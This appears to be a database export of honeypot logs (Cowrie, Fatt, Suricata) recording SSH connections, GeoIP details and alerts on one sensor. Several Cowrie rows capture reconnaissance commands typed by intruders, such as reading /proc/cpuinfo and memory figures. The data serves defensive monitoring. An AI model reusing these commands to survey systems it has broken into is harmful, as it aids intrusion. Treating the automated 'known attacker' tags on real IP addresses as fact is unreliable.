44393	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:22.314551+03	2021-09-20 16:45:01.595565+03	{"_id": "GwZrA3wBvYTbRNuEGqfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.session.params", "message": [], "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:22.314551Z", "@timestamp": "2021-09-20T13:35:22.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	KZ
32263	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:50:20.744032+03	2021-09-20 15:00:03.253716+03	{"_id": "AwYKA3wBvYTbRNuE8knd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58165, "dest_port": 22, "timestamp": "2021-09-20T11:50:20.744032", "@timestamp": "2021-09-20T11:50:20.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32264	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:21.426942+03	2021-09-20 15:00:03.255716+03	{"_id": "BgYKA3wBvYTbRNuE9Ek7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:21.426942Z", "@timestamp": "2021-09-20T11:50:21.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32265	96.78.175.36	109.199.241.180	Fatt	2021-09-20 14:50:22.329647+03	2021-09-20 15:00:03.256716+03	{"_id": "CQYKA3wBvYTbRNuE9knG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43484, "dest_port": 22, "timestamp": "2021-09-20T11:50:22.329647", "@timestamp": "2021-09-20T11:50:22.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32266	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:50:22.104782+03	2021-09-20 15:00:03.258716+03	{"_id": "DwYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d6cba9c4d937", "@version": "1", "duration": 1.4124958515167236, "timestamp": "2021-09-20T11:50:22.104782Z", "@timestamp": "2021-09-20T11:50:22.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32267	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:14.080208+03	2021-09-20 15:00:03.259717+03	{"_id": "4AYKA3wBvYTbRNuE1kh8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 234}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:14.080208Z", "@timestamp": "2021-09-20T11:50:14.080Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32268	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:13.961557+03	2021-09-20 15:00:03.261716+03	{"_id": "4gYKA3wBvYTbRNuE2Eje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:13.961557Z", "@timestamp": "2021-09-20T11:50:13.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32269	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:14.649771+03	2021-09-20 15:00:03.262716+03	{"_id": "5QYKA3wBvYTbRNuE2Eje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:14.649771Z", "@timestamp": "2021-09-20T11:50:14.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32270	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:13.962107+03	2021-09-20 15:00:03.263717+03	{"_id": "5gYKA3wBvYTbRNuE2Eje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:13.962107Z", "@timestamp": "2021-09-20T11:50:13.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32271	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:14.624133+03	2021-09-20 15:00:03.265717+03	{"_id": "5wYKA3wBvYTbRNuE2khl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 312}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:14.624133Z", "@timestamp": "2021-09-20T11:50:14.624Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32272	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:15.819995+03	2021-09-20 15:00:03.266716+03	{"_id": "6AYKA3wBvYTbRNuE3EjG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "107.173.209.238", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 1 seconds", "session": "78144d271630", "@version": "1", "duration": 1.1708722114562988, "duplicate": true, "timestamp": "2021-09-20T11:50:15.819995Z", "@timestamp": "2021-09-20T11:50:15.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32273	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:15.71219+03	2021-09-20 15:00:03.268717+03	{"_id": "6QYKA3wBvYTbRNuE3khN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 390}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:15.712190Z", "@timestamp": "2021-09-20T11:50:15.712Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32274	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:16.434495+03	2021-09-20 15:00:03.269716+03	{"_id": "6wYKA3wBvYTbRNuE4Eiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:16.434495Z", "@timestamp": "2021-09-20T11:50:16.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32275	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:16.434995+03	2021-09-20 15:00:03.270716+03	{"_id": "7AYKA3wBvYTbRNuE4Eiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:16.434995Z", "@timestamp": "2021-09-20T11:50:16.434Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32276	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:17.860161+03	2021-09-20 15:00:03.272716+03	{"_id": "8AYKA3wBvYTbRNuE5EiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:17.860161Z", "@timestamp": "2021-09-20T11:50:17.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32277	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:13.792128+03	2021-09-20 15:00:03.273718+03	{"_id": "3wYKA3wBvYTbRNuE1kh8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 156}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:13.792128Z", "@timestamp": "2021-09-20T11:50:13.792Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32278	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:14.245142+03	2021-09-20 15:00:03.274717+03	{"_id": "4wYKA3wBvYTbRNuE2Eje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "107.173.209.238", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.28366923332214355, "duplicate": true, "timestamp": "2021-09-20T11:50:14.245142Z", "@timestamp": "2021-09-20T11:50:14.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32279	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:14.64921+03	2021-09-20 15:00:03.276717+03	{"_id": "5AYKA3wBvYTbRNuE2Eje", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:14.649210Z", "@timestamp": "2021-09-20T11:50:14.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32280	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:16.433942+03	2021-09-20 15:00:03.277716+03	{"_id": "6gYKA3wBvYTbRNuE4Eiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:16.433942Z", "@timestamp": "2021-09-20T11:50:16.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32281	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:16.985853+03	2021-09-20 15:00:03.278717+03	{"_id": "7wYKA3wBvYTbRNuE5EiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "107.173.209.238", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.5519917011260986, "duplicate": true, "timestamp": "2021-09-20T11:50:16.985853Z", "@timestamp": "2021-09-20T11:50:16.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
